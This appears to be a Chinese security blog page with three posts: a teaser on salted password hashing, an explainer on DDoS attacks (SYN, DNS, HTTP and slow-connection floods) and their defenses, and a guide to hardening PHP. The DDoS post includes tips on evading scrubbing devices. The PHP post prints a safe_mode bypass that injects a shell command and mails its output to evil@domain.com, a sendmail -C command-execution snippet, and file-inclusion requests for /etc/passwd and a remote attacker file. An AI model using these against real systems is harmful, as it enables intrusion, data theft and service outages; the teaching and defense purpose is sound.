加盐密码哈希:如何正确使用

如果你是Web开发者,你很可能需要开发一个用户账户系统。这个系统最重要的方面,就是怎样保护用户的密码。存放帐号的数据库经常成为入侵的目标,所以你必须做点什么来保护密码,以防网站被攻破时发生危险。最好的办法就是对密码进行加盐哈希,这篇文章将介绍它是如何做到这点的。

在对密码进行哈希加密的问题上,人们有许多争论和误解,这大概是由于网络上广泛的误传吧。密码哈希是一件非常简单的事情,但是依然有很多人理解错误了。本文阐述的并不是进行密码哈希唯一正确的方法,但是会告诉你为什么这样是正确的。

郑重警告:如果你在试图编写自己的密码哈希代码,赶紧停下来!那太容易搞砸了。即使你受过密码学的高等教育,也应该听从这个警告。这是对所有人说的:不要自己写加密函数!安全存储密码的难题现在已经被解决了,请使用phpass或者本文给出的一些源代码。

如果因为某些原因你忽视了上面那个红色警告,请翻回去好好读一遍,我是认真的。这篇文章的目的不是教你研究出自己的安全算法,而是讲解为什么密码应该被这样储存。
Continue reading “加盐密码哈希:如何正确使用”

深入浅出DDoS攻击防御

敌情篇 ——DDoS攻击原理


DDoS攻击基础

DDoS(Distributed Denial of Service,分布式拒绝服务)攻击的主要目的是让指定目标无法提供正常服务,甚至从互联网上消失,是目前最强大、最难防御的攻击之一。

按照发起的方式,DDoS可以简单分为三类。

第一类以力取胜,海量数据包从互联网的各个角落蜂拥而来,堵塞IDC入口,让各种强大的硬件防御系统、快速高效的应急流程无用武之地。这种类型的攻击典型代表是ICMP Flood和UDP Flood,现在已不常见。

第二类以巧取胜,灵动而难以察觉,每隔几分钟发一个包甚至只需要一个包,就可以让豪华配置的服务器不再响应。这类攻击主要是利用协议或者软件的漏洞发起,例如Slowloris攻击、Hash冲突攻击等,需要特定环境机缘巧合下才能出现。

第三类是上述两种的混合,轻灵浑厚兼而有之,既利用了协议、系统的缺陷,又具备了海量的流量,例如SYN Flood攻击、DNS Query Flood攻击,是当前的主流攻击方式。

本文将一一描述这些最常见、最具代表性攻击方式,并介绍它们的防御方案。

SYN Flood

SYN Flood是互联网上最经典的DDoS攻击方式之一,最早出现于1999年左右,雅虎是当时最著名的受害者。SYN Flood攻击利用了TCP三次握手的缺陷,能够以较小代价使目标服务器无法响应,且难以追查。

标准的TCP三次握手过程如下:

  • 客户端发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号;
  • 服务器在收到客户端的SYN报文后,将返回一个SYN+ACK(即确认Acknowledgement)的报文,表示客户端的请求被接受,同时TCP初始序号自动加1;
  • 客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加1。

经过这三步,TCP连接就建立完成。TCP协议为了实现可靠传输,在三次握手的过程中设置了一些异常处理机制。第三步中如果服务器没有收到客户端的最终ACK确认报文,会一直处于SYN_RECV状态,将客户端IP加入等待列表,并重发第二步的SYN+ACK报文。重发一般进行3-5次,大约间隔30秒左右轮询一次等待列表重试所有客户端。另一方面,服务器在自己发出了SYN+ACK报文后,会预分配资源为即将建立的TCP连接储存信息做准备,这个资源在等待重试期间一直保留。更为重要的是,服务器资源有限,可以维护的SYN_RECV状态超过极限后就不再接受新的SYN报文,也就是拒绝新的TCP连接建立。

SYN Flood正是利用了上文中TCP协议的设定,达到攻击的目的。攻击者伪装大量的IP地址给服务器发送SYN报文,由于伪造的IP地址几乎不可能存在,也就几乎没有设备会给服务器返回任何应答了。因此,服务器将会维持一个庞大的等待列表,不停地重试发送SYN+ACK报文,同时占用着大量的资源无法释放。更为关键的是,被攻击服务器的SYN_RECV队列被恶意的数据包占满,不再接受新的SYN请求,合法用户无法完成三次握手建立起TCP连接。也就是说,这个服务器被SYN Flood拒绝服务了。

对SYN Flood有兴趣的可以看看http://www.icylife.net/yunshu/show.php?id=367,这是我2006年写的代码,后来做过几次修改,修改了Bug,并降低了攻击性,纯做测试使用。

DNS Query Flood

作为互联网最基础、最核心的服务,DNS自然也是DDoS攻击的重要目标之一。打垮DNS服务能够间接打垮一家公司的全部业务,或者打垮一个地区的网络服务。前些时候风头正盛的黑客组织anonymous也曾经宣布要攻击全球互联网的13台根DNS服务器,不过最终没有得手。

UDP攻击是最容易发起海量流量的攻击手段,而且源IP随机伪造难以追查。但过滤比较容易,因为大多数IP并不提供UDP服务,直接丢弃UDP流量即可。所以现在纯粹的UDP流量攻击比较少见了,取而代之的是UDP协议承载的DNS Query Flood攻击。简单地说,越上层协议上发动的DDoS攻击越难以防御,因为协议越上层,与业务关联越大,防御系统面临的情况越复杂。

DNS Query Flood就是攻击者操纵大量傀儡机器,对目标发起海量的域名查询请求。为了防止基于ACL的过滤,必须提高数据包的随机性。常用的做法是UDP层随机伪造源IP地址、随机伪造源端口等参数。在DNS协议层,随机伪造查询ID以及待解析域名。随机伪造待解析域名除了防止过滤外,还可以降低命中DNS缓存的可能性,尽可能多地消耗DNS服务器的CPU资源。

关于DNS Query Flood的代码,我在2011年7月为了测试服务器性能曾经写过一份代码,链接是http://www.icylife.net/yunshu/show.php?id=832。同样的,这份代码人为降低了攻击性,只做测试用途。

HTTP Flood

上文描述的SYN Flood、DNS Query Flood在现阶段已经能做到有效防御了,真正令各大厂商以及互联网企业头疼的是HTTP Flood攻击。HTTP Flood是针对Web服务在第七层协议发起的攻击。它的巨大危害性主要表现在三个方面:发起方便、过滤困难、影响深远。

SYN Flood和DNS Query Flood都需要攻击者以root权限控制大批量的傀儡机。收集大量root权限的傀儡机很花费时间和精力,而且在攻击过程中傀儡机会由于流量异常被管理员发现,攻击者的资源快速损耗而补充缓慢,导致攻击强度明显降低而且不可长期持续。HTTP Flood攻击则不同,攻击者并不需要控制大批的傀儡机,取而代之的是通过端口扫描程序在互联网上寻找匿名的HTTP代理或者SOCKS代理,攻击者通过匿名代理对攻击目标发起HTTP请求。匿名代理是一种比较丰富的资源,花几天时间获取代理并不是难事,因此攻击容易发起而且可以长期高强度的持续。

另一方面,HTTP Flood攻击在HTTP层发起,极力模仿正常用户的网页请求行为,与网站业务紧密相关,安全厂商很难提供一套通用的且不影响用户体验的方案。在一个地方工作得很好的规则,换一个场景可能带来大量的误杀。

最后,HTTP Flood攻击会引起严重的连锁反应,不仅仅是直接导致被攻击的Web前端响应缓慢,还间接攻击到后端的Java等业务层逻辑以及更后端的数据库服务,增大它们的压力,甚至对日志存储服务器都带来影响。

有意思的是,HTTP Flood还有个颇有历史渊源的昵称叫做CC攻击。CC是Challenge Collapsar的缩写,而Collapsar是国内一家著名安全公司的DDoS防御设备。从目前的情况来看,不仅仅是Collapsar,所有的硬件防御设备都还在被挑战着,风险并未解除。

慢速连接攻击

提起攻击,第一反应就是海量的流量、海量的报文。但有一种攻击却反其道而行之,以慢著称,以至于有些攻击目标被打死了都不知道是怎么死的,这就是慢速连接攻击,最具代表性的是rsnake发明的Slowloris。

HTTP协议规定,HTTP Request以\r\n\r\n结尾表示客户端发送结束,服务端开始处理。那么,如果永远不发送\r\n\r\n会如何?Slowloris就是利用这一点来做DDoS攻击的。攻击者在HTTP请求头中将Connection设置为Keep-Alive,要求Web Server保持TCP连接不要断开,随后缓慢地每隔几分钟发送一个key-value格式的数据到服务端,如a:b\r\n,导致服务端认为HTTP头部没有接收完成而一直等待。如果攻击者使用多线程或者傀儡机来做同样的操作,服务器的Web容器很快就被攻击者占满了TCP连接而不再接受新的请求。

很快的,Slowloris开始出现各种变种。比如POST方法向Web Server提交数据、填充一大大Content-Length但缓慢的一个字节一个字节的POST真正数据内容等等。关于Slowloris攻击,rsnake也给出了一个测试代码,参见http://ha.ckers.org/slowloris/slowloris.pl

DDoS攻击进阶

混合攻击

以上介绍了几种基础的攻击手段,其中任意一种都可以用来攻击网络,甚至击垮阿里、百度、腾讯这种巨型网站。但这些并不是全部,不同层次的攻击者能够发起完全不同的DDoS攻击,运用之妙,存乎一心。

高级攻击者从来不会使用单一的手段进行攻击,而是根据目标环境灵活组合。普通的SYN Flood容易被流量清洗设备通过反向探测、SYN Cookie等技术手段过滤掉,但如果在SYN Flood中混入SYN+ACK数据包,使每一个伪造的SYN数据包都有一个与之对应的伪造的客户端确认报文,这里的对应是指源IP地址、源端口、目的IP、目的端口、TCP窗口大小、TTL等都符合同一个主机同一个TCP Flow的特征,流量清洗设备的反向探测和SYN Cookie性能压力将会显著增大。其实SYN数据报文配合其他各种标志位,都有特殊的攻击效果,这里不一一介绍。对DNS Query Flood而言,也有独特的技巧。

首先,DNS可以分为普通DNS和授权域DNS,攻击普通DNS,IP地址需要随机伪造,并且指明服务器要求做递归解析;但攻击授权域DNS,伪造的源IP地址则不应该是纯随机的,而应该是事先收集的全球各地ISP的DNS地址,这样才能达到最大攻击效果,使流量清洗设备处于添加IP黑名单还是不添加IP黑名单的尴尬处境。添加会导致大量误杀,不添加黑名单则每个报文都需要反向探测从而加大性能压力。

另一方面,前面提到,为了加大清洗设备的压力不命中缓存而需要随机化请求的域名,但需要注意的是,待解析域名必须在伪造中带有一定的规律性,比如说只伪造域名的某一部分而固化一部分,用来突破清洗设备设置的白名单。道理很简单,腾讯的服务器可以只解析腾讯的域名,完全随机的域名可能会直接被丢弃,需要固化。但如果完全固定,也很容易直接被丢弃,因此又需要伪造一部分。

其次,对DNS的攻击不应该只着重于UDP端口,根据DNS协议,TCP端口也是标准服务。在攻击时,可以UDP和TCP攻击同时进行。

HTTP Flood的着重点,在于突破前端的cache,通过HTTP头中的字段设置直接到达Web Server本身。另外,HTTP Flood对目标的选取也非常关键,一般的攻击者会选择搜索之类需要做大量数据查询的页面作为攻击目标,这是非常正确的,可以消耗服务器尽可能多的资源。但这种攻击容易被清洗设备通过人机识别的方式识别出来,那么如何解决这个问题?很简单,尽量选择正常用户也通过APP访问的页面,一般来说就是各种Web API。正常用户和恶意流量都是来源于APP,人机差别很小,基本融为一体难以区分。

之类的慢速攻击,是通过巧妙的手段占住连接不释放达到攻击的目的,但这也是双刃剑,每一个TCP连接既存在于服务端也存在于自身,自身也需要消耗资源维持TCP状态,因此连接不能保持太多。如果可以解决这一点,攻击性会得到极大增强,也就是说Slowloris可以通过stateless的方式发动攻击,在客户端通过嗅探捕获TCP的序列号和确认维护TCP连接,系统内核无需关注TCP的各种状态变迁,一台笔记本即可产生多达65535个TCP连接。

前面描述的,都是技术层面的攻击增强。在人的方面,还可以有一些别的手段。如果SYN Flood发出大量数据包正面强攻,再辅之以Slowloris慢速连接,多少人能够发现其中的秘密?即使服务器宕机了也许还只发现了SYN攻击想去加强TCP层清洗而忽视了应用层的行为。种种攻击都可以互相配合,达到最大的效果。攻击时间的选择,也是一大关键,比如说选择维护人员吃午饭时、维护人员下班堵在路上或者在地铁里无线上网卡都没有信号时、目标企业在举行大规模活动流量飙升时等。

这里描述的只是纯粹的攻击行为,因此不提供代码,也不做深入介绍。


来自P2P网络的攻击

前面的攻击方式,多多少少都需要一些傀儡机,即使是HTTP Flood也需要搜索大量的匿名代理。如果有一种攻击,只需要发出一些指令,就有机器自动上来执行,才是完美的方案。这种攻击已经出现了,那就是来自P2P网络的攻击。

大家都知道,互联网上的P2P用户和流量都是一个极为庞大的数字。如果他们都去一个指定的地方下载数据,使成千上万的真实IP地址连接过来,没有哪个设备能够支撑住。拿BT下载来说,伪造一些热门视频的种子,发布到搜索引擎,就足以骗到许多用户和流量了,但这只是基础攻击。

高级P2P攻击,是直接欺骗资源管理服务器。如迅雷客户端会把自己发现的资源上传到资源管理服务器,然后推送给其他需要下载相同资源的用户,这样,一个链接就发布出去。通过协议逆向,攻击者伪造出大批量的热门资源信息通过资源管理中心分发出去,瞬间就可以传遍整个P2P网络。更为恐怖的是,这种攻击是无法停止的,即使是攻击者自身也无法停止,攻击一直持续到P2P官方发现问题更新服务器且下载用户重启下载软件时为止。

 

应对篇 ——DDoS防御方案

防御基础

攻击流量到底多大

谈到DDoS防御,首先就是要知道到底遭受了多大的攻击。这个问题看似简单,实际上却有很多不为人知的细节在里面。

以SYN Flood为例,为了提高发送效率在服务端产生更多的SYN等待队列,攻击程序在填充包头时,IP首部和TCP首部都不填充可选的字段,因此IP首部长度恰好是20字节,TCP首部也是20字节,共40字节。

对于以太网来说,最小的包长度数据段必须达到46字节,而攻击报文只有40字节,因此,网卡在发送时,会做一些处理,在TCP首部的末尾,填充6个0来满足最小包的长度要求。这个时候,整个数据包的长度为14字节的以太网头,20字节的IP头,20字节的TCP头,再加上因为最小包长度要求而填充的6个字节的0,一共是60字节。

但这还没有结束。以太网在传输数据时,还有CRC检验的要求。网卡会在发送数据之前对数据包进行CRC检验,将4字节的CRC值附加到包头的最后面。这个时候,数据包长度已不再是40字节,而是变成64字节了,这就是常说的SYN小包攻击,数据包结构如下:

|14字节以太网头部|20字节IP头部|20字节TCP|6字节填充|4字节检验|
|目的MAC|源MAC|协议类型| IP头 |TCP头|以太网填充 | CRC检验 |

到64字节时,SYN数据包已经填充完成,准备开始传输了。攻击数据包很小,远远不够最大传输单元(MTU)的1500字节,因此不会被分片。那么这些数据包就像生产流水线上的罐头一样,一个包连着一个包紧密地挤在一起传输吗?事实上不是这样的。

以太网在传输时,还有前导码(preamble)和帧间距(inter-frame gap)。其中前导码占8字节(byte),即64比特位。前导码前面的7字节都是10101010,1和0间隔而成。但第八个字节就变成了10101011,当主机监测到连续的两个1时,就知道后面开始是数据了。在网络传输时,数据的结构如下:

|8字节前导码|6字节目的MAC地址|6字节源MAC地址|2字节上层协议类型|20字节IP头|20字节TCP头|6字节以太网填充|4字节CRC检验|12字节帧间距|

也就是说,一个本来只有40字节的SYN包,在网络上传输时占的带宽,其实是84字节。

有了上面的基础,现在可以开始计算攻击流量和网络设备的线速问题了。当只填充IP头和TCP头的最小SYN包跑在以太网络上时,100Mbit的网络,能支持的最大PPS(Packet Per Second)是100×106 / (8 * (64+8+12)) = 148809,1000Mbit的网络,能支持的最大PPS是1488090。

SYN Flood防御

前文描述过,SYN Flood攻击大量消耗服务器的CPU、内存资源,并占满SYN等待队列。相应的,我们修改内核参数即可有效缓解。主要参数如下:

net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 8192
net.ipv4.tcp_synack_retries = 2

分别为启用SYN Cookie、设置SYN最大队列长度以及设置SYN+ACK最大重试次数。

SYN Cookie的作用是缓解服务器资源压力。启用之前,服务器在接到SYN数据包后,立即分配存储空间,并随机化一个数字作为SYN号发送SYN+ACK数据包。然后保存连接的状态信息等待客户端确认。启用SYN Cookie之后,服务器不再分配存储空间,而且通过基于时间种子的随机数算法设置一个SYN号,替代完全随机的SYN号。发送完SYN+ACK确认报文之后,清空资源不保存任何状态信息。直到服务器接到客户端的最终ACK包,通过Cookie检验算法鉴定是否与发出去的SYN+ACK报文序列号匹配,匹配则通过完成握手,失败则丢弃。当然,前文的高级攻击中有SYN混合ACK的攻击方法,则是对此种防御方法的反击,其中优劣由双方的硬件配置决定

tcp_max_syn_backlog则是使用服务器的内存资源,换取更大的等待队列长度,让攻击数据包不至于占满所有连接而导致正常用户无法完成握手。net.ipv4.tcp_synack_retries是降低服务器SYN+ACK报文重试次数,尽快释放等待资源。这三种措施与攻击的三种危害一一对应,完完全全地对症下药。但这些措施也是双刃剑,可能消耗服务器更多的内存资源,甚至影响正常用户建立TCP连接,需要评估服务器硬件资源和攻击大小谨慎设置。

除了定制TCP/IP协议栈之外,还有一种常见做法是TCP首包丢弃方案,利用TCP协议的重传机制识别正常用户和攻击报文。当防御设备接到一个IP地址的SYN报文后,简单比对该IP是否存在于白名单中,存在则转发到后端。如不存在于白名单中,检查是否是该IP在一定时间段内的首次SYN报文,不是则检查是否重传报文,是重传则转发并加入白名单,不是则丢弃并加入黑名单。是首次SYN报文则丢弃并等待一段时间以试图接受该IP的SYN重传报文,等待超时则判定为攻击报文加入黑名单。

首包丢弃方案对用户体验会略有影响,因为丢弃首包重传会增大业务的响应时间,有鉴于此发展出了一种更优的TCP Proxy方案。所有的SYN数据报文由清洗设备接受,按照SYN Cookie方案处理。和设备成功建立了TCP三次握手的IP地址被判定为合法用户加入白名单,由设备伪装真实客户端IP地址再与真实服务器完成三次握手,随后转发数据。而指定时间内没有和设备完成三次握手的IP地址,被判定为恶意IP地址屏蔽一定时间。除了SYN Cookie结合TCP Proxy外,清洗设备还具备多种畸形TCP标志位数据包探测的能力,通过对SYN报文返回非预期应答测试客户端反应的方式来鉴别正常访问和恶意行为。

清洗设备的硬件具有特殊的网络处理器芯片和特别优化的操作系统、TCP/IP协议栈,可以处理非常巨大的流量和SYN队列。

HTTP Flood防御

HTTP Flood攻击防御主要通过缓存的方式进行,尽量由设备的缓存直接返回结果来保护后端业务。大型的互联网企业,会有庞大的CDN节点缓存内容。

当高级攻击者穿透缓存时,清洗设备会截获HTTP请求做特殊处理。最简单的方法就是对源IP的HTTP请求频率做统计,高于一定频率的IP地址加入黑名单。这种方法过于简单,容易带来误杀,并且无法屏蔽来自代理服务器的攻击,因此逐渐废止,取而代之的是JavaScript跳转人机识别方案。

HTTP Flood是由程序模拟HTTP请求,一般来说不会解析服务端返回数据,更不会解析JS之类代码。因此当清洗设备截获到HTTP请求时,返回一段特殊JavaScript代码,正常用户的浏览器会处理并正常跳转不影响使用,而攻击程序会攻击到空处。

DNS Flood防御

DNS攻击防御也有类似HTTP的防御手段,第一方案是缓存。其次是重发,可以是直接丢弃DNS报文导致UDP层面的请求重发,可以是返回特殊响应强制要求客户端使用TCP协议重发DNS查询请求。

特殊的,对于授权域DNS的保护,设备会在业务正常时期提取收到的DNS域名列表和ISP DNS IP列表备用,在攻击时,非此列表的请求一律丢弃,大幅降低性能压力。对于域名,实行同样的域名白名单机制,非白名单中的域名解析请求,做丢弃处理。

慢速连接攻击防御

Slowloris攻击防御比较简单,主要方案有两个。

第一个是统计每个TCP连接的时长并计算单位时间内通过的报文数量即可做精确识别。一个TCP连接中,HTTP报文太少和报文太多都是不正常的,过少可能是慢速连接攻击,过多可能是使用HTTP 1.1协议进行的HTTP Flood攻击,在一个TCP连接中发送多个HTTP请求。

第二个是限制HTTP头部传输的最大许可时间。超过指定时间HTTP Header还没有传输完成,直接判定源IP地址为慢速连接攻击,中断连接并加入黑名单。

企业级防御

互联网企业防御DDoS攻击,主要使用上文的基础防御手段,重点在于监控、组织以及流程。

监控需要具备多层监控、纵深防御的概念,从骨干网络、IDC入口网络的BPS、PPS、协议分布,负载均衡层的VIP新建连接数、并发连接数、BPS、PPS到主机层的CPU状态、TCP新建连接数状态、TCP并发连接数状态,到业务层的业务处理量、业务连通性等多个点部署监控系统。即使一个监控点失效,其他监控点也能够及时给出报警信息。多个点信息结合,准确判断被攻击目标和攻击手法。

一旦发现异常,立即启动在虚拟防御组织中的应急流程,防御组织需要囊括到足够全面的人员,至少包含监控部门、运维部门、网络部门、安全部门、客服部门、业务部门等,所有人员都需要2-3个备份。流程启动后,除了人工处理,还应该包含一定的自动处理、半自动处理能力。例如自动化的攻击分析,确定攻击类型,自动化、半自动化的防御策略,在安全人员到位之前,最先发现攻击的部门可以做一些缓解措施。

除了DDoS到来之时的流程等工作之外,更多的工作是在攻击到来之前。主要包含CDN节点部署、DNS设置、流程演习等。对于企业来说,具备多个CDN节点是DDoS防御容量的关键指标。当一个机房承担不住海量数据时,可以通过DNS轮询的方式,把流量引导到多个分布节点,使用防御设备分头处理。因此DNS的TTL值需要设置得足够小,能够快速切换,每个CDN节点的各种VIP设置也需要准备充分。

在虚拟化时代,各种用户的不同业务共处在相同的物理机平台,遭受DDoS攻击的可能性越来越高,而且一个用户被攻击可能牵扯到大量的其他用户,危害被显著放大,因此防御显得尤为重要。阿里云的虚拟化业务,平均每天遭受约20起DDoS攻击,最大流量达到接近20Gbit/s,所有这些攻击都在15分钟内自动处理完成,让客户远离DDoS的威胁,专心发展业务。

总地来说,对DDoS防御,主要的工作是幕后积累。台上十分钟,台下十年功,没有充分的资源准备,没有足够的应急演练,没有丰富的处理经验,DDoS攻击将是所有人的噩梦。

php 安全

 
一、Web服务器安全
 
PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:
 
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
 
都是针对Win32平台,所以需要在chroot环境下调整好sendmail。
 
二、PHP本身问题 网管u家u.bitscn@com
 
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高.
 
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。
 
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:
执行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com
这将id执行的结果发送给evil@domain.com。
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:
#注意,下面这两个必须是不存在的,
或者它们的属主和本脚本的属主是一样
$script=”/tmp/script123″;
$cf=”/tmp/cf123″;
$fd = fopen($cf, “w”);
fwrite($fd, “OQ/tmp
Sparse=0
R$*” . chr(9) . “$#local $@ $:
Mlocal, P=/bin/sh, A=sh $script”);
fclose($fd);
$fd = fopen($script, “w”);
fwrite($fd, “rm -f $script $cf; “);
fwrite($fd, $cmd);
fclose($fd);
mail(“nobody”, “”, “”, “”, “-C$cf”);
?>
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。
 
三、PHP本身的安全配置
PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。
 
如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。
 
如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:
 
# grep PHP_INI_ /PHP_SRC/main/main.c
在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。
 
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:
safe_mode = On
或者修改httpd.conf,定义目录:
Options FollowSymLinks
php_admin_value safe_mode 1
重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:
几个文件的属性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r–r– 1 root root 4110 Oct 26 2002 index.html
-rw-r–r– 1 www-data www-data 41 Jul 19 19:14 test.php
在浏览器请求test.php会提示如下的错误信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。
如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:
safe_mode_gid = On
设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、ls -l这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:
safe_mode_exec_dir = /usr/local/php/exec
然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。
safe_mode_include_dir string
当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。
从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。
指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。
注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!
safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。
虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。
讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。
 
2、变量滥用
PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = “EGPCS”(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:
//test_1.php
if ($pass == “hello”)
$auth = 1;
if ($auth == 1)
echo “some important information”;
else
echo “nothing”;
?>
攻击者只需用如下的请求就能绕过检查:
http://victim/test_1.php?auth=1
这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361
PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。
解决方法:
配置文件php.ini设置register_globals = Off。
要求程序员对作为判断的变量在程序最开始初始化一个值。
 
3、文件打开
极易受攻击的代码片断:
//test_2.php
if (!($str = readfile(“$filename”))) {
echo(“Could not open file: $filename
\n”);
exit;
}
else {
echo $str;
}
?>
由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:
http://victim/test_2.php?filename=/etc/passwd
如下请求可以读php文件本身:
http://victim/test_2.php?filename=test_2.php
PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。
解决方法:
如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:
php_admin_value open_basedir /usr/local/apache/htdocs
重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:
Warning: open_basedir restriction in effect.
File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免这种问题,前面已经讨论过了。
 
4、包含文件
极易受攻击的代码片断:
//test_3.php
if(file_exists($filename))
include(“$filename”);
?>
这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd
如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt的内容是,那么如下的请求就可以在目标主机执行命令ls /etc:
http://victim/test_3.php?filename=http://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。
对于另外一种形式,如下代码片断:
//test_4.php
include(“$lib/config.php”);
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:
http://victim/test_4.php?lib=http://attack
PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。
解决方法:
要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。
如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:
allow_url_fopen = Off
重启apache
 
[PHP] 
; PHP还是一个不断发展的工具,其功能还在不断地删减 
; 而php.ini的设置更改可以反映出相当的变化, 
; 在使用新的PHP版本前,研究一下php.ini会有好处的 
;;;;;;;;;;;;;;;;;;; 
